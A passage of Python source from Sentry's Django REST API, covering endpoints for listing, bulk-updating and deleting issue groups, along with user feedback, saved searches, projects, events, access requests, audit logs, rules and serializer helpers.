        :qparam querystring query: an optional Sentry structured search
                                   query.  If not provided an implied
                                   ``"is:resolved"`` is assumed.)
        :pparam string organization_slug: the slug of the organization the
                                          groups belong to.
        :pparam string project_slug: the slug of the project the groups
                                     belong to.
        :auth: required
        """
        stats_period = request.GET.get('statsPeriod')
        if stats_period not in (None, '', '24h', '14d'):
            return Response({"detail": ERR_INVALID_STATS_PERIOD}, status=400)
        elif stats_period is None:
            # default
            stats_period = '24h'
        elif stats_period == '':
            # disable stats
            stats_period = None

        query = request.GET.get('query', '').strip()
        if query:
            matching_group = None
            if len(query) == 32:
                # check to see if we've got an event ID
                try:
                    mapping = EventMapping.objects.get(
                        project_id=project.id,
                        event_id=query,
                    )
                except EventMapping.DoesNotExist:
                    pass
                else:
                    matching_group = Group.objects.get(id=mapping.group_id)

            # If the query looks like a short id, we want to provide some
            # information about where that is.  Note that this can return
            # results for another project.  The UI deals with this.
            elif request.GET.get('shortIdLookup') == '1' and \
                    looks_like_short_id(query):
                try:
                    matching_group = Group.objects.by_qualified_short_id(
                        project.organization, query)
                except Group.DoesNotExist:
                    matching_group = None

            if matching_group is not None:
                response = Response(serialize(
                    [matching_group], request.user, StreamGroupSerializer(
                        stats_period=stats_period
                    )
                ))
                response['X-Sentry-Direct-Hit'] = '1'
                return response

        try:
            query_kwargs = self._build_query_params_from_request(request, project)
        except ValidationError as exc:
            return Response({'detail': six.text_type(exc)}, status=400)

        cursor_result = search.query(**query_kwargs)

        results = list(cursor_result)

        context = serialize(
            results, request.user, StreamGroupSerializer(
                stats_period=stats_period
            )
        )

        # HACK: remove auto resolved entries
        if query_kwargs.get('status') == GroupStatus.UNRESOLVED:
            context = [
                r for r in context
                if r['status'] == 'unresolved'
            ]

        response = Response(context)
        response['Link'] = ', '.join([
            self.build_cursor_link(request, 'previous', cursor_result.prev),
            self.build_cursor_link(request, 'next', cursor_result.next),
        ])

        return response

    @attach_scenarios([bulk_update_aggregates_scenario])
    def put(self, request, project):
        """
        Bulk Mutate a List of Aggregates
        ````````````````````````````````

        Bulk mutate various attributes on aggregates.  The list of groups
        to modify is given through the `id` query parameter.  It is repeated
        for each group that should be modified.

        - For non-status updates, the `id` query parameter is required.
        - For status updates, the `id` query parameter may be omitted
          for a batch "update all" query.
        - An optional `status` query parameter may be used to restrict
          mutations to only events with the given status.

        The following attributes can be modified and are supplied as
        JSON object in the body:

        If any ids are out of scope this operation will succeed without
        any data mutation.

        :qparam int id: a list of IDs of the groups to be mutated.  This
                        parameter shall be repeated for each group.  It
                        is optional only if a status is mutated in which
                        case an implicit `update all` is assumed.
        :qparam string status: optionally limits the query to groups of the
                               specified status.  Valid values are
                               ``"resolved"``, ``"unresolved"`` and
                               ``"muted"``.
        :pparam string organization_slug: the slug of the organization the
                                          groups belong to.
        :pparam string project_slug: the slug of the project the groups
                                     belong to.
        :param string status: the new status for the groups.  Valid values
                              are ``"resolved"``, ``"unresolved"`` and
                              ``"muted"``.
        :param int snoozeDuration: the number of minutes to mute this issue.
        :param boolean isPublic: sets the group to public or private.
        :param boolean merge: allows to merge or unmerge different groups.
        :param boolean hasSeen: in case this API call is invoked with a user
                                context this allows changing of the flag
                                that indicates if the user has seen the
                                event.
        :param boolean isBookmarked: in case this API call is invoked with a
                                     user context this allows changing of
                                     the bookmark flag.
        :auth: required
        """
        group_ids = request.GET.getlist('id')
        if group_ids:
            group_list = Group.objects.filter(project=project, id__in=group_ids)
            # filter down group ids to only valid matches
            group_ids = [g.id for g in group_list]
            if not group_ids:
                return Response(status=204)
        else:
            group_list = None

        serializer = GroupSerializer(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = dict(serializer.object)

        acting_user = request.user if request.user.is_authenticated() else None

        if not group_ids:
            try:
                query_kwargs = self._build_query_params_from_request(request, project)
            except ValidationError as exc:
                return Response({'detail': six.text_type(exc)}, status=400)

            # bulk mutations are limited to 1000 items
            # TODO(dcramer): it'd be nice to support more than this, but its
            # a bit too complicated right now
            query_kwargs['limit'] = 1000

            cursor_result = search.query(**query_kwargs)

            group_list = list(cursor_result)
            group_ids = [g.id for g in group_list]

        is_bulk = len(group_ids) > 1

        queryset = Group.objects.filter(
            id__in=group_ids,
        )

        if result.get('status') == 'resolvedInNextRelease':
            try:
                release = Release.objects.filter(
                    project=project,
                ).order_by('-date_added')[0]
            except IndexError:
                return Response('{"detail": "No release data present in the system to indicate form a basis for \'Next Release\'"}', status=400)

            now = timezone.now()

            for group in group_list:
                try:
                    with transaction.atomic():
                        resolution, created = GroupResolution.objects.create(
                            group=group,
                            release=release,
                        ), True
                except IntegrityError:
                    resolution, created = GroupResolution.objects.get(
                        group=group,
                    ), False

                if acting_user:
                    GroupSubscription.objects.subscribe(
                        user=acting_user,
                        group=group,
                        reason=GroupSubscriptionReason.status_change,
                    )

                if created:
                    activity = Activity.objects.create(
                        project=group.project,
                        group=group,
                        type=Activity.SET_RESOLVED_IN_RELEASE,
                        user=acting_user,
                        ident=resolution.id,
                        data={
                            # no version yet
                            'version': '',
                        }
                    )
                    # TODO(dcramer): we need a solution for activity rollups
                    # before sending notifications on bulk changes
                    if not is_bulk:
                        activity.send_notification()

            queryset.update(
                status=GroupStatus.RESOLVED,
                resolved_at=now,
            )

            result.update({
                'status': 'resolved',
                'statusDetails': {
                    'inNextRelease': True,
                },
            })

        elif result.get('status') == 'resolved':
            now = timezone.now()

            happened = queryset.exclude(
                status=GroupStatus.RESOLVED,
            ).update(
                status=GroupStatus.RESOLVED,
                resolved_at=now,
            )

            GroupResolution.objects.filter(
                group__in=group_ids,
            ).delete()

            if group_list and happened:
                for group in group_list:
                    group.status = GroupStatus.RESOLVED
                    group.resolved_at = now
                    if acting_user:
                        GroupSubscription.objects.subscribe(
                            user=acting_user,
                            group=group,
                            reason=GroupSubscriptionReason.status_change,
                        )
                    activity = Activity.objects.create(
                        project=group.project,
                        group=group,
                        type=Activity.SET_RESOLVED,
                        user=acting_user,
                    )
                    # TODO(dcramer): we need a solution for activity rollups
                    # before sending notifications on bulk changes
                    if not is_bulk:
                        activity.send_notification()

            result['statusDetails'] = {}

        elif result.get('status'):
            new_status = STATUS_CHOICES[result['status']]

            happened = queryset.exclude(
                status=new_status,
            ).update(
                status=new_status,
            )

            GroupResolution.objects.filter(
                group__in=group_ids,
            ).delete()

            if new_status == GroupStatus.MUTED:
                snooze_duration = result.pop('snoozeDuration', None)
                if snooze_duration:
                    snooze_until = timezone.now() + timedelta(
                        minutes=snooze_duration,
                    )
                    for group in group_list:
                        GroupSnooze.objects.create_or_update(
                            group=group,
                            values={
                                'until': snooze_until,
                            }
                        )
                        result['statusDetails'] = {
                            'snoozeUntil': snooze_until,
                        }
                else:
                    GroupSnooze.objects.filter(
                        group__in=group_ids,
                    ).delete()
                    snooze_until = None
                    result['statusDetails'] = {}
            else:
                result['statusDetails'] = {}

            if group_list and happened:
                if new_status == GroupStatus.UNRESOLVED:
                    activity_type = Activity.SET_UNRESOLVED
                    activity_data = {}
                elif new_status == GroupStatus.MUTED:
                    activity_type = Activity.SET_MUTED
                    activity_data = {
                        'snoozeUntil': snooze_until,
                        'snoozeDuration': snooze_duration,
                    }

                for group in group_list:
                    group.status = new_status

                    activity = Activity.objects.create(
                        project=group.project,
                        group=group,
                        type=activity_type,
                        user=acting_user,
                        data=activity_data,
                    )
                    # TODO(dcramer): we need a solution for activity rollups
                    # before sending notifications on bulk changes
                    if not is_bulk:
                        if acting_user:
                            GroupSubscription.objects.subscribe(
                                user=acting_user,
                                group=group,
                                reason=GroupSubscriptionReason.status_change,
                            )
                        activity.send_notification()

        if result.get('hasSeen') and project.member_set.filter(user=acting_user).exists():
            for group in group_list:
                instance, created = create_or_update(
                    GroupSeen,
                    group=group,
                    user=acting_user,
                    project=group.project,
                    values={
                        'last_seen': timezone.now(),
                    }
                )
        elif result.get('hasSeen') is False:
            GroupSeen.objects.filter(
                group__in=group_ids,
                user=acting_user,
            ).delete()

        if result.get('isBookmarked'):
            for group in group_list:
                GroupBookmark.objects.get_or_create(
                    project=project,
                    group=group,
                    user=acting_user,
                )
                GroupSubscription.objects.subscribe(
                    user=acting_user,
                    group=group,
                    reason=GroupSubscriptionReason.bookmark,
                )
        elif result.get('isBookmarked') is False:
            GroupBookmark.objects.filter(
                group__in=group_ids,
                user=acting_user,
            ).delete()

        # TODO(dcramer): we could make these more efficient by first
        # querying for rich rows are present (if N > 2), flipping the flag
        # on those rows, and then creating the missing rows
        if result.get('isSubscribed') in (True, False):
            is_subscribed = result['isSubscribed']
            for group in group_list:
                GroupSubscription.objects.create_or_update(
                    user=acting_user,
                    group=group,
                    project=project,
                    values={'is_active': is_subscribed},
                )

        if result.get('isPublic'):
            queryset.update(is_public=True)
            for group in group_list:
                if group.is_public:
                    continue
                group.is_public = True
                Activity.objects.create(
                    project=group.project,
                    group=group,
                    type=Activity.SET_PUBLIC,
                    user=acting_user,
                )
        elif result.get('isPublic') is False:
            queryset.update(is_public=False)
            for group in group_list:
                if not group.is_public:
                    continue
                group.is_public = False
                Activity.objects.create(
                    project=group.project,
                    group=group,
                    type=Activity.SET_PRIVATE,
                    user=acting_user,
                )

        # XXX(dcramer): this feels a bit shady like it should be its own
        # endpoint
        if result.get('merge') and len(group_list) > 1:
            primary_group = sorted(group_list, key=lambda x: -x.times_seen)[0]
            children = []
            for group in group_list:
                if group == primary_group:
                    continue
                children.append(group)
                group.update(status=GroupStatus.PENDING_MERGE)
                merge_group.delay(
                    from_object_id=group.id,
                    to_object_id=primary_group.id,
                )

            Activity.objects.create(
                project=primary_group.project,
                group=primary_group,
                type=Activity.MERGE,
                user=acting_user,
                data={
                    'issues': [{'id': c.id} for c in children],
                },
            )

            result['merge'] = {
                'parent': six.text_type(primary_group.id),
                'children': [six.text_type(g.id) for g in children],
            }

        return Response(result)

    @attach_scenarios([bulk_remove_aggregates_scenario])
    def delete(self, request, project):
        """
        Bulk Remove a List of Aggregates
        ````````````````````````````````

        Permanently remove the given aggregates. The list of groups to
        modify is given through the `id` query parameter.  It is repeated
        for each group that should be removed.

        Only queries by 'id' are accepted.

        If any ids are out of scope this operation will succeed without
        any data mutation.

        :qparam int id: a list of IDs of the groups to be removed.  This
                        parameter shall be repeated for each group.
        :pparam string organization_slug: the slug of the organization the
                                          groups belong to.
        :pparam string project_slug: the slug of the project the groups
                                     belong to.
        :auth: required
        """
        group_ids = request.GET.getlist('id')
        if group_ids:
            group_list = Group.objects.filter(project=project, id__in=group_ids)
            # filter down group ids to only valid matches
            group_ids = [g.id for g in group_list]
        else:
            # missing any kind of filter
            return Response('{"detail": "You must specify a list of IDs for this operation"}', status=400)

        if not group_ids:
            return Response(status=204)

        # TODO(dcramer): set status to pending deletion
        for group in group_list:
            delete_group.delay(object_id=group.id, countdown=3600)

        return Response(status=204)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.bases import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.models import User


class GroupParticipantsEndpoint(GroupEndpoint):
    def get(self, request, group):
        participants = list(User.objects.filter(
            groupsubscription__is_active=True,
            groupsubscription__group=group,
        ))

        return Response(serialize(participants, request.user))






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from django.utils import timezone
from rest_framework import serializers
from rest_framework.response import Response
from uuid import uuid4

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize, ProjectUserReportSerializer
from sentry.api.paginator import DateTimePaginator
from sentry.models import EventMapping, Group, GroupStatus, UserReport
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('CreateUserFeedback')
def create_user_feedback_scenario(runner):
    with runner.isolated_project('Plain Proxy') as project:
        runner.request(
            method='POST',
            path='/projects/{}/{}/user-feedback/'.format(runner.org.slug, project.slug),
            data={
                'name': 'Jane Smith',
                'email': 'jane@example.com',
                'comments': 'It broke!',
                'event_id': uuid4().hex,
            }
        )


class UserReportSerializer(serializers.ModelSerializer):
    class Meta:
        model = UserReport
        fields = ('name', 'email', 'comments', 'event_id')


class ProjectUserReportsEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    def get(self, request, project):
        """
        List a Project's User Feedback
        ``````````````````````````````

        Return a list of user feedback items within this project.

        :pparam string organization_slug: the slug of the organization.
        :pparam string project_slug: the slug of the project.
        :auth: required
        """
        queryset = UserReport.objects.filter(
            project=project,
            group__isnull=False,
        ).select_related('group')

        status = request.GET.get('status', 'unresolved')
        if status == 'unresolved':
            queryset = queryset.filter(
                group__status=GroupStatus.UNRESOLVED,
            )
        elif status:
            return Response({'status': 'Invalid status choice'}, status=400)

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-date_added',
            on_results=lambda x: serialize(x, request.user, ProjectUserReportSerializer()),
            paginator_cls=DateTimePaginator,
        )

    @attach_scenarios([create_user_feedback_scenario])
    def post(self, request, project):
        """
        Submit User Feedback
        ````````````````````

        Submit and associate user feedback with an issue.

        :pparam string organization_slug: the slug of the organization.
        :pparam string project_slug: the slug of the project.
        :auth: required
        :param string event_id: the event ID
        :param string name: user's name
        :param string email: user's email address
        :param string comments: comments supplied by user
        """
        serializer = UserReportSerializer(data=request.DATA)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        report = serializer.object
        report.project = project
        try:
            mapping = EventMapping.objects.get(
                event_id=report.event_id,
                project_id=project.id,
            )
        except EventMapping.DoesNotExist:
            # XXX(dcramer): the system should fill this in later
            pass
        else:
            report.group = Group.objects.get(id=mapping.group_id)

        try:
            with transaction.atomic():
                report.save()
        except IntegrityError:
            # There was a duplicate, so just overwrite the existing
            # row with the new one. The only way this ever happens is
            # if someone is messing around with the API, or doing
            # something wrong with the SDK, but this behavior is
            # more reasonable than just hard erroring and is more
            # expected.
            report = UserReport.objects.get(
                project=report.project,
                event_id=report.event_id,
            )
            report.update(
                name=report.name,
                email=report.email,
                comments=report.comments,
                date_added=timezone.now(),
            )

        return Response(serialize(report, request.user, ProjectUserReportSerializer()))






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.models import SavedSearch, SavedSearchUserDefault


class SavedSearchSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=128, required=True)
    query = serializers.CharField(required=True)
    isDefault = serializers.BooleanField(required=False)
    isUserDefault = serializers.BooleanField(required=False)


class ProjectSearchesEndpoint(ProjectEndpoint):
    def get(self, request, project):
        """
        List a project's saved searches

        Retrieve a list of saved searches for a given project.

            {method} {path}

        """
        results = list(SavedSearch.objects.filter(
            project=project,
        ).order_by('name'))

        return Response(serialize(results, request.user))

    def post(self, request, project):
        """
        Create a new saved search

        Create a new saved search for the given project.

            {method} {path}
            {{
                "name": "Latest Release",
                "query": "release:[latest]"
            }}

        """
        serializer = SavedSearchSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            with transaction.atomic():
                try:
                    search = SavedSearch.objects.create(
                        project=project,
                        name=result['name'],
                        query=result['query'],
                        is_default=result.get('isDefault', False),
                    )
                except IntegrityError:
                    return Response({
                        'detail': 'Search with same name already exists.'
                    }, status=400)

                if search.is_default:
                    SavedSearch.objects.filter(
                        project=project,
                    ).exclude(
                        id=search.id,
                    ).update(
                        is_default=False,
                    )

                if result.get('isUserDefault'):
                    SavedSearchUserDefault.objects.create_or_update(
                        savedsearch=search,
                        user=request.user,
                        project=project,
                    )

            return Response(serialize(search, request.user), status=201)
        return Response(serializer.errors, status=400)






from __future__ import absolute_import

from django.db.models import Q

from sentry.api.base import DocSection, Endpoint
from sentry.api.bases.project import ProjectPermission
from sentry.api.paginator import DateTimePaginator
from sentry.api.serializers import serialize, ProjectWithOrganizationSerializer
from sentry.models import (
    Project, ProjectStatus
)
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListYourProjects')
def list_your_projects_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/'
    )


class ProjectIndexEndpoint(Endpoint):
    doc_section = DocSection.PROJECTS
    permission_classes = (ProjectPermission,)

    @attach_scenarios([list_your_projects_scenario])
    def get(self, request):
        """
        List your Projects
        ``````````````````

        Return a list of projects available to the authenticated
        session.

        :auth: required
        """
        queryset = Project.objects.select_related('organization').distinct()

        status = request.GET.get('status', 'active')
        if status == 'active':
            queryset = queryset.filter(
                status=ProjectStatus.VISIBLE,
            )
        elif status == 'deleted':
            queryset = queryset.exclude(
                status=ProjectStatus.VISIBLE,
            )
        elif status:
            queryset = queryset.none()

        if request.auth and not request.user.is_authenticated():
            if hasattr(request.auth, 'project'):
                queryset = queryset.filter(
                    id=request.auth.project_id,
                )
            elif request.auth.organization is not None:
                queryset = queryset.filter(
                    organization=request.auth.organization.id,
                )
            else:
                queryset = queryset.none()
        elif not request.is_superuser():
            queryset = queryset.filter(
                team__organizationmember__user=request.user,
            )

        query = request.GET.get('query')
        if query:
            queryset = queryset.filter(
                Q(name__icontains=query) | Q(slug__icontains=query),
            )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-date_added',
            on_results=lambda x: serialize(x, request.user, ProjectWithOrganizationSerializer()),
            paginator_cls=DateTimePaginator,
        )






from __future__ import absolute_import

import six

from django.db.models import Q
from operator import or_
from six.moves import reduce

from sentry.api.base import DocSection
from sentry.api.bases import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.api.paginator import DateTimePaginator
from sentry.models import Event, EventTag, Group, TagKey, TagValue
from sentry.search.utils import parse_query
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListAvailableSamples')
def list_available_samples_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/issues/%s/events/' % group.id
    )


class GroupEventsEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    def _tags_to_filter(self, group, tags):
        project = group.project
        tagkeys = dict(TagKey.objects.filter(
            project=project,
            key__in=tags.keys(),
        ).values_list('key', 'id'))

        tagvalues = {
            (t[1], t[2]): t[0]
            for t in TagValue.objects.filter(
                reduce(or_, (Q(key=k, value=v) for k, v in six.iteritems(tags))),
                project=project,
            ).values_list('id', 'key', 'value')
        }

        try:
            tag_lookups = [
                (tagkeys[k], tagvalues[(k, v)])
                for k, v in six.iteritems(tags)
            ]
        except KeyError:
            # one or more tags were invalid, thus the result should be an empty
            # set
            return []

        # Django doesnt support union, so we limit results and try to find
        # reasonable matches

        # get initial matches to start the filter
        k, v = tag_lookups.pop()
        matches = list(EventTag.objects.filter(
            key_id=k,
            value_id=v,
            group_id=group.id,
        ).values_list('event_id', flat=True)[:1000])

        # for each remaining tag, find matches contained in our
        # existing set, pruning it down each iteration
        for k, v in tag_lookups:
            matches = list(EventTag.objects.filter(
                key_id=k,
                value_id=v,
                event_id__in=matches,
                group_id=group.id,
            ).values_list('event_id', flat=True)[:1000])
            if not matches:
                return []
        return matches

    @attach_scenarios([list_available_samples_scenario])
    def get(self, request, group):
        """
        List an Issue's Events
        ``````````````````````

        This endpoint lists an issue's events.

        :pparam string issue_id: the ID of the issue to retrieve.
        :auth: required
        """

        events = Event.objects.filter(
            group_id=group.id,
        )

        query = request.GET.get('query')
        if query:
            query_kwargs = parse_query(group.project, query, request.user)

            if query_kwargs['query']:
                events = events.filter(
                    message__icontains=query_kwargs['query'],
                )

            if query_kwargs['tags']:
                matches = self._tags_to_filter(group, query_kwargs['tags'])
                if matches:
                    events = events.filter(
                        id__in=matches,
                    )
                else:
                    events = events.none()

        return self.paginate(
            request=request,
            queryset=events,
            order_by='-datetime',
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=DateTimePaginator,
        )






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.bases.user import UserEndpoint
from sentry.models import AuthIdentity


class UserIdentityDetailsEndpoint(UserEndpoint):
    def delete(self, request, user, identity_id):
        AuthIdentity.objects.filter(
            user=user,
            id=identity_id,
        ).delete()
        return Response(status=204)






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.bases.organization import (
    OrganizationEndpoint, OrganizationPermission
)
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import (
    AuditLogEntryEvent, OrganizationAccessRequest, OrganizationMemberTeam
)


class AccessRequestPermission(OrganizationPermission):
    scope_map = {
        'GET': [],
        'POST': [],
        'PUT': [
            'org:write',
            'team:write',
            'member:write',
        ],
        'DELETE': [],
    }


class AccessRequestSerializer(serializers.Serializer):
    isApproved = serializers.BooleanField()


class OrganizationAccessRequestDetailsEndpoint(OrganizationEndpoint):
    permission_classes = [AccessRequestPermission]

    # TODO(dcramer): this should go onto AccessRequestPermission
    def _can_access(self, request, access_request):
        if request.access.has_scope('org:write'):
            return True
        if request.access.has_scope('member:write'):
            return True
        if request.access.has_team_scope(access_request.team, 'team:write'):
            return True
        return False

    def put(self, request, organization, request_id):
        """
        Approve or deny a request

        Approve or deny a request.

            {method} {path}

        """
        try:
            access_request = OrganizationAccessRequest.objects.get(
                id=request_id,
                team__organization=organization,
            )
        except OrganizationAccessRequest.DoesNotExist:
            raise ResourceDoesNotExist

        if not self._can_access(request, access_request):
            return Response(status=403)

        serializer = AccessRequestSerializer(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        is_approved = serializer.object.get('isApproved')
        if is_approved is None:
            return Response(status=400)

        if is_approved:
            try:
                with transaction.atomic():
                    omt = OrganizationMemberTeam.objects.create(
                        organizationmember=access_request.member,
                        team=access_request.team,
                    )
            except IntegrityError:
                pass
            else:
                self.create_audit_entry(
                    request=request,
                    organization=organization,
                    target_object=omt.id,
                    target_user=access_request.member.user,
                    event=AuditLogEntryEvent.MEMBER_JOIN_TEAM,
                    data=omt.get_audit_log_data(),
                )

                access_request.send_approved_email()

        access_request.delete()

        return Response(status=204)






from __future__ import absolute_import

from django.db.models import Q
from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.models import OrganizationMember


class ProjectMemberIndexEndpoint(ProjectEndpoint):
    def get(self, request, project):
        queryset = OrganizationMember.objects.filter(
            Q(user__is_active=True) | Q(user__isnull=True),
            organization=project.organization,
            teams=project.team,
        ).select_related('user')

        member_list = sorted(
            queryset,
            key=lambda x: x.user.get_display_name() if x.user_id else x.email
        )

        context = serialize(member_list, request.user)

        return Response(context)






from __future__ import absolute_import

from sentry.api.bases import OrganizationIssuesEndpoint
from sentry.models import Group


class OrganizationMemberIssuesViewedEndpoint(OrganizationIssuesEndpoint):
    def get_queryset(self, request, organization, member, project_list):
        return Group.objects.filter(
            groupseen__user=member.user,
            groupseen__project__in=project_list,
        ).extra(
            select={'sort_by': 'sentry_groupseen.last_seen'},
        ).order_by('-sort_by')






from __future__ import absolute_import

from sentry.api.bases import OrganizationEndpoint
from sentry.api.paginator import DateTimePaginator
from sentry.api.serializers import serialize
from sentry.models import AuditLogEntry

EVENT_REVERSE_MAP = {
    v: k
    for k, v in AuditLogEntry._meta.get_field('event').choices
}


class OrganizationAuditLogsEndpoint(OrganizationEndpoint):
    def get(self, request, organization):
        queryset = AuditLogEntry.objects.filter(
            organization=organization,
        ).select_related('actor')

        event = request.GET.get('event')
        if event:
            try:
                queryset = queryset.filter(
                    event=EVENT_REVERSE_MAP[event],
                )
            except KeyError:
                queryset = queryset.none()

        return self.paginate(
            request=request,
            queryset=queryset,
            paginator_cls=DateTimePaginator,
            order_by='-datetime',
            on_results=lambda x: serialize(x, request.user),
        )






from __future__ import absolute_import

from rest_framework import status
from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.api.serializers.rest_framework import RuleSerializer
from sentry.models import Rule, RuleStatus


class ProjectRulesEndpoint(ProjectEndpoint):
    def get(self, request, project):
        """
        List a project's rules

        Retrieve a list of rules for a given project.

            {method} {path}

        """
        queryset = Rule.objects.filter(
            project=project,
            status__in=[RuleStatus.ACTIVE, RuleStatus.INACTIVE],
        )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-id',
            on_results=lambda x: serialize(x, request.user),
        )

    def post(self, request, project):
        """
        Create a rule

        Create a new rule for the given project.

            {method} {path}
            {{
              "name": "My rule name",
              "conditions": [],
              "actions": [],
              "actionMatch": "all"
            }}

        """
        serializer = RuleSerializer(
            context={'project': project},
            data=request.DATA,
        )

        if serializer.is_valid():
            rule = serializer.save(rule=Rule())

            return Response(serialize(rule, request.user))

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api import client
from sentry.api.base import DocSection
from sentry.api.bases.group import GroupEndpoint
from sentry.models import Group
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('GetOldestGroupSample')
def get_oldest_group_sample_scenario(runner):
    project = runner.default_project
    group = Group.objects.filter(project=project).last()
    runner.request(
        method='GET',
        path='/issues/%s/events/oldest/' % group.id,
    )


class GroupEventsOldestEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    @attach_scenarios([get_oldest_group_sample_scenario])
    def get(self, request, group):
        """
        Oldest Sample
        `````````````

        Retrieves the details of the oldest sample for an aggregate.

        :pparam string group_id: the ID of the group to get the oldest sample of.
        """
        event = group.get_oldest_event()
        if not event:
            return Response({'detail': 'No events found for group'}, status=404)

        try:
            return client.get('/events/{}/'.format(event.id), request=request)
        except client.ApiError as e:
            return Response(e.body, status=e.status_code)






from __future__ import absolute_import

from django.contrib.auth.models import AnonymousUser


registry = {}


def serialize(objects, user=None, serializer=None):
    if user is None:
        user = AnonymousUser()

    if not objects:
        return objects
    # sets aren't predictable, so generally you should use a list, but it's
    # supported out of convenience
    elif not isinstance(objects, (list, tuple, set, frozenset)):
        return serialize([objects], user=user, serializer=serializer)[0]

    # elif isinstance(obj, dict):
    #     return dict((k, serialize(v, request=request)) for k, v in six.iteritems(obj))

    if serializer is None:
        # find the first object that is in the registry
        for o in objects:
            try:
                serializer = registry[type(o)]
                break
            except KeyError:
                pass
        else:
            return objects

    attrs = serializer.get_attrs(
        # avoid passing NoneType's to the serializer as they're allowed and
        # filtered out of serialize()
        item_list=[o for o in objects if o is not None],
        user=user,
    )

    return [serializer(o, attrs=attrs.get(o, {}), user=user) for o in objects]


def register(type):
    def wrapped(cls):
        registry[type] = cls()
        return cls
    return wrapped


class Serializer(object):
    def __call__(self, obj, attrs, user):
        if obj is None:
            return
        return self.serialize(obj, attrs, user)

    def get_attrs(self, item_list, user):
        return {}

    def serialize(self, obj, attrs, user):
        return {}






from __future__ import absolute_import

from .base import *  # NOQA
from .models import *  # NOQA






from __future__ import absolute_import

from rest_framework.serializers import WritableField, ValidationError


class ListField(WritableField):
    def __init__(self, child):
        self.child = child
        super(ListField, self).__init__()

    def initialize(self, **kwargs):
        super(ListField, self).initialize(**kwargs)
        self.child.initialize(**kwargs)

    def to_native(self, obj):
        return obj

    def from_native(self, data):
        if not isinstance(data, list):
            msg = 'Incorrect type. Expected a mapping, but got %s'
            raise ValidationError(msg % type(data).__name__)

        return [self.child.from_native(x) for x in data]






from __future__ import absolute_import

from rest_framework import serializers


class NoteSerializer(serializers.Serializer):
    text = serializers.CharField()






from __future__ import absolute_import

from rest_framework import serializers

from sentry.rules import rules

from . import ListField

ValidationError = serializers.ValidationError


class RuleNodeField(serializers.WritableField):
    def __init__(self, type):
        super(RuleNodeField, self).__init__()
        self.type_name = type

    def to_native(self, obj):
        return obj

    def from_native(self, data):
        if not isinstance(data, dict):
            msg = 'Incorrect type. Expected a mapping, but got %s'
            raise ValidationError(msg % type(data).__name__)

        if 'id' not in data:
            raise ValidationError("Missing attribute 'id'")

        cls = rules.get(data['id'], self.type_name)
        if cls is None:
            msg = "Invalid node. Could not find '%s'"
            raise ValidationError(msg % data['id'])

        if not cls(self.context['project'], data).validate_form():
            raise ValidationError('Node did not pass validation')

        return data


class RuleSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=64)
    actionMatch = serializers.ChoiceField(choices=(
        ('all', 'all'),
        ('any', 'any'),
        ('none', 'none'),
    ))
    actions = ListField(
        child=RuleNodeField(type='action/event'),
    )
    conditions = ListField(
        child=RuleNodeField(type='condition/event'),
    )

    def save(self, rule):
        rule.project = self.context['project']
        if self.data.get('name'):
            rule.label = self.data['name']
        if self.data.get('actionMatch'):
            rule.data['action_match'] = self.data['actionMatch']
        if self.data.get('actions') is not None:
            rule.data['actions'] = self.data['actions']
        if self.data.get('conditions') is not None:
            rule.data['conditions'] = self.data['conditions']
        rule.save()
        return rule






from __future__ import absolute_import

from sentry.utils.imports import import_submodules

import_submodules(globals(), __name__, __path__)






from __future__ import absolute_import

import six

from collections import namedtuple
from datetime import timedelta
from django.utils import timezone

from sentry.app import tsdb
from sentry.api.serializers import Serializer, register, serialize
from sentry.models import GroupRelease, Release

StatsPeriod = namedtuple('StatsPeriod', ('segments', 'interval'))


@register(GroupRelease)
class GroupReleaseSerializer(Serializer):
    def get_attrs(self, item_list, user):
        release_list = list(Release.objects.filter(
            id__in=[i.release_id for i in item_list],
        ))
        releases = {
            r.id: d
            for r, d in zip(release_list, serialize(release_list, user))
        }

        result = {}
        for item in item_list:
            result[item] = {
                'release': releases.get(item.release_id),
            }
        return result

    def serialize(self, obj, attrs, user):
        return {
            'release': attrs['release'],
            'environment': obj.environment,
            'firstSeen': obj.first_seen,
            'lastSeen': obj.last_seen,
        }


class GroupReleaseWithStatsSerializer(GroupReleaseSerializer):
    STATS_PERIODS = {
        '24h': StatsPeriod(24, timedelta(hours=1)),
        '30d': StatsPeriod(30, timedelta(hours=24)),
    }

    def __init__(self, since=None, until=None):
        self.since = since
        self.until = until

    def get_attrs(self, item_list, user):
